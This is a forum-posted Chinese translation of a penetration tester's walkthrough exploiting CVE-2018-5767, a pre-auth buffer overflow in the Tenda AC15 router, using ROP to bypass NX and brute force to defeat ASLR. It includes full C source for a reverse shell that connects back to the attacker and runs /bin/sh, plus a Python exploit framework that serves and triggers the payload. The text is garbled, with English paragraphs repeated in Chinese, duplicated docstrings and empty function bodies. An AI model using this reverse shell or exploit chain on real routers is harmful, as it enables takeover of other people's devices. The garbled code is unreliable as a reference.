-
-
[翻译]腾达AC15路由器上的远程代码(CVE-2018-5767)执行演练
-
发表于: 2018-4-3 15:31 6215
-
在这篇文章中,我们将展示一个腾达AC15路由器中的预认证的远程代码执行漏洞。我们从分析漏洞开始,然后再着手开发的常规模式——找出问题,然后修正那些问题来开发工作漏洞。
N. B -多次尝试联系供应商,但没有成功。由于该漏洞的性质,文章中偏移量已经修改,防止漏洞利用。
这个漏洞是由缓冲区溢出由于不注意的用户输入直接传递给调用sscanf引起。下面的图显示在这个设备上httpd进程r7webssecurityhandler函数的漏洞代码。
注意,"password="参数是cookie头的一部分。我们看到,该代码使用strstr找到这个地方,然后把等号后面的复制(不包括“;”字符 - 这个在后面很重要)到一个固定大小的堆栈缓冲区。
如果我们把一个足够大的密码值就可以让服务器崩溃,在下面的图片中我们使用交叉编译gdbserver二进制依附到这个进程,我们可以用telnet访问设备(另一篇文章的里讲到)。
This crash isn’t exactly ideal. We can see that it’s due to an invalid read attempting to load a byte from R3 which points to 0x41414141. From our analysis this was identified as occurring in a shared library and instead of looking for ways to exploit it, we turned our focus back on the vulnerable function to try and determine what was happening after the overflow.
In the next figure we see the issue; if the string copied into the buffer contains “.gif”, then the function returns immediately without further processing. The code isn’t looking for “.gif” in the password, but in the user controlled buffer for the whole request. Avoiding further processing of a overflown buffer and returning immediately is exactly what we want (loc_2f7ac simply jumps to the function epilogue).
这次崩溃不太完美。我们可以看到,这是由于非法读取,试图从R3指向0x41414141处加载一个字节。从我们的分析来看,这是在共享库中触发,接着我们不是寻找方法来利用它,而是把焦点放在漏洞函数上,试图确定溢出之后发生了什么。
在下一个图中,我们看到了问题;如果复制到缓冲区中的字符串包含“.gif”,则函数立即返回,没有进一步处理。代码不是在密码中寻找“.gif”,而是在整个请求的用户控制缓冲区中。避免溢出缓冲区的进一步处理,立即返回,这正是我们想要的(loc_2f7ac直接跳到函数的结尾)。
把".gif"附加到一长串的字符串"A"后面,这给了我们一个PC = 0x41414141段错误。能可靠的控制执行的流程,我们现在可以勾勒出我们需要定位的问题,并着手开始解决,同时,开发可利用代码。
首先,以下的信息是可用的二进制:
我只囊括了最重要的细节,这个二进制是一个32位的ARMEL可执行,动态链接到NX是唯一利用缓解启用(注意系统的randomize_va_space = 1,这个我们必须得处理)。因此,我们有以下问题要解决:
通过可控缓冲区的偏移实现PC机的可靠控制。
旁路不执行(NX,堆栈不可执行)。
绕过地址空间布局随机化(randomize_va_space = 1)。
把它拼成一个完整的漏洞。
要解决的第一个问题是在利用内存损坏漏洞时,比如在缓冲区中我们可以控制某些寄存器的偏移量。我们解决了这个问题,使用Metasploit的模式创建和仿制出偏移脚本。我们确定正确的偏移量,并显示对PC寄存器的可靠控制:
解决了问题1后,我们的下一个任务是绕过不执行。不执行(NX或DEP)简单地阻止我们在堆栈上执行shellcode。它可以确保没有任何可写和可执行内存的页。NX已经有一段时间了,所以我们不太详细地介绍它是如何工作的,也不需要绕过它,我们需要的只是一些神奇的魔力。
我们用“归零”保护(ret2zp)方法[ 1 ]。给构建ROP链的问题在于,ARM架构函数的参数是通过r0-r3寄存器,和英特尔x86栈不同。绕过NX在x86处理器上我们只会进行一次ret2libc攻击,由此我们存储libc的系统函数的地址在正确的偏移,然后在偏移量+4位置存储一个空的终止的字符串作为我们希望执行的命令:
在我们当前的目标执行类似的攻击,需要把我们的命令传到R0的地址,然后需要一些方法来跳到系统功能。实现这些的是一个用mov指令把堆栈指针移动到R0的工具。这给了我们如下的布局:
我们在libc共享库找到这个工具,但是,这个小工具执行以下指令。
这意味着在跳转到这个小工具之前,必须在R3中得到系统地址。为了解决这个问题,我们只需找到一个小工具,可以让我们从堆栈中传送或弹出到R3的值,我们又在libc库找到这样一个小工具:
这个小工具还有跳转到SP + 12的额外好处,因此我们的缓冲区应该是这样的:
注意“;.gif”字符串缓冲区末尾,记得sscanf的调用停在‘;’字符,而“.gif”字符串将允许我们退出函数。通过下面的Python代码,我们用两个小工具基本上绕过了NX:
问题2的解决,我们现在进入我们的第三个问题;绕过ASLR。进攻基于网络的应用程序时很难绕过地址空间布局随机化,这通常是由于这样的事实,我们需要某种形式的信息泄漏。虽然在二进制本身上没有启用,但是共享库在每次执行时在不同地址上定位所有的加载。产生的信息泄漏的一个方法是使用“自身的”的httpd二进制中提供的工具(没有ASLR)和ROP到泄漏。然而,问题是每个小工具包含一个空字节,所以我们只能使用1。如果我们看看随机化是多么的随机,我们看到其实库地址(特别是包含我们的小工具的libc)在每个执行时只相差一个字节。例如,在一次运行时库位于0xXXXXXXXX,下次运行时就会在0xXXXXXXXX(译者按:此处可能是否应为0xXXXXXXXX+1?)
我们可以从理论上推测这个值,但猜到的可能性很小。
这是我们可靠的看门狗程序的用武之地。运行在这个设备一个进程负责重启那些崩溃的服务,所以每次httpd进程段错误就会立即重启,对我们来说非常方便。这是足以让我们做一些暴力破解,使用下面的过程:
随着成功绕过NX和ASLR,我们现在需要把这一切放在一起(问题3)。然而,这给我们提出了另外一组需要解决的问题:
我们如何检测到漏洞利用已经成功?
我们如何使用此漏洞利用代码在设备上运行任意代码?
我们从解决问题2开始,这反过来将帮助我们解决问题1。在设备上运行任意代码有几个步骤。首先,我们可以利用设备上的工具下载任意脚本或二进制文件,例如,下面的命令字符串将通过HTTP从远程服务器下载文件,将其权限更改为可执行文件,然后运行它:
这个“恶意软件”二进制会有一些迹象表明,该设备已被远程利用,为了达到这个目的,我们编写一个简单的TCP连接后程序。这个程序将创建一个连接到我们的进攻系统,复制stdin和stdout文件描述符–它仅仅是一个简单的逆向外壳。
```#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
}
Take the ARM_REV_SHELL code and modify it with
the given ip and port to connect back to.
This function then compiles the code into an
ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
def compile_shell(comp_path, my_ip):
This function uses the SimpleHTTPServer module to create
a http server that will serve our malicious binary.
This function is called as a thread, as a daemon process.
”’
def start_http_server():
This function creates a listening socket on port
REV_PORT. When a connection is accepted it updates
the global DONE flag to indicate successful exploitation.
It then jumps into a loop whereby the user can send remote
commands to the device, interacting with a spawned /bin/sh
process.
def threaded_listener():
This function presents the actual vulnerability exploited.
The Cookie header has a password field that is vulnerable to
a sscanf buffer overflow, we make use of 2 ROP gadgets to
bypass DEP/NX, and can brute force ASLR due to a watchdog
process restarting any processes that crash.
This function will continually make malicious requests to the
devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
def exploit(host, port, my_ip):
Finally, we put all of this together by spawning the individual threads, as well as getting command line options as usual:
def main():
if name == ‘main’:
#!/usr/bin/env python
import urllib2
import struct
import time
import socket
from optparse import *
import SimpleHTTPServer
import SocketServer
import threading
import sys
import os
import subprocess
ARM_REV_SHELL = (
“#include <sys/socket.h>\n”
“#include <sys/types.h>\n”
“#include <string.h>\n”
“#include <stdio.h>\n”
“#include <netinet/in.h>\n”
“int main(int argc, char **argv)\n”
“{\n”
” struct sockaddr_in addr;\n”
” socklen_t addrlen;\n”
” int sock = socket(AF_INET, SOCK_STREAM, 0);\n”
” memset(&addr, 0x00, sizeof(addr));\n”
” addr.sin_family = AF_INET;\n”
” addr.sin_port = htons(%d);\n”
” addr.sin_addr.s_addr = inet_addr(\”%s\”);\n”
” int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n”
” dup2(sock, 0);\n”
” dup2(sock, 1);\n”
” dup2(sock, 2);\n”
” system(\”/bin/sh\”);\n”
“}\n”
)
REV_PORT = 31337
HTTPD_PORT = 8888
DONE = False
”’
This function creates a listening socket on port
REV_PORT. When a connection is accepted it updates
the global DONE flag to indicate successful exploitation.
It then jumps into a loop whereby the user can send remote
commands to the device, interacting with a spawned /bin/sh
process.
”’
def threaded_listener():
”’
Take the ARM_REV_SHELL code and modify it with
the given ip and port to connect back to.
This function then compiles the code into an
ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
”’
def compile_shell(comp_path, my_ip):
”’
This function uses the SimpleHTTPServer module to create
a http server that will serve our malicious binary.
This function is called as a thread, as a daemon process.
”’
def start_http_server():
”’
This function presents the actual vulnerability exploited.
The Cookie header has a password field that is vulnerable to
a sscanf buffer overflow, we make use of 2 ROP gadgets to
bypass DEP/NX, and can brute force ASLR due to a watchdog
process restarting any processes that crash.
This function will continually make malicious requests to the
devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
”’
def exploit(host, port, my_ip):
def main():
if name == ‘main’:
```
特别感谢:
Tim Carrington – @_invictus – as part of Fidus’ Penetration Testing & Research team.
翻译:看雪翻译小组Daemond
原文:https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!